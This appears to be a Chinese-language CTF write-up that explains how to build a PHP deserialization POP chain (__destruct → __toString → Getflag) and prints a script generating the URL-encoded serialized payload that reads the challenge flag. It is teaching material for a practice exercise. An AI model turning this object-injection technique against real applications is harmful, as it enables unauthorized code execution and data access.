首先观察一下整段代码,再结合上面总结的魔术方法分析一下,w44m
类里面的Getflag
函数可以用来读取flag,因此就将它作为这条链子的尾部。
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
再想一下如何去调用这个函数,看下面这段代码。这段代码中,$this->w00m->{$this->w22m}();
会调用函数,所以只需要给$w00m
赋一个w44m
类,然后再给w22m
赋一个Getflag
就能成功调用该函数。
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
再再考虑一下如何调用这个w33m
类呢??上面写过__toString()
这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m
这个类里面的echo
函数。我们只要给w00m
赋一个w33m
类,就能调用。
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$p = new w22m();
$p->w00m = new w33m();
$p->w00m->w00m=new w44m();
$p->w00m->w22m='Getflag';
echo urlencode(serialize($p));
?>
1.有私有属性的一定要url编码一下,会有不可见字符。
2.对于__toString(),要求是在它类里的变量被实例化时才会被触发。所以$p->w00m = new w33m();则不会触发__toString()。
3.对于pop链,从链尾分析到链头。
4.一般类里的函数可以直接去掉,简化代码(方便看)。比如
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$p = new w22m();
$p->w00m = new w33m();
$p->w00m->w00m=new w44m();
$p->w00m->w22m='Getflag';
echo urlencode(serialize($p));
?>
详细题解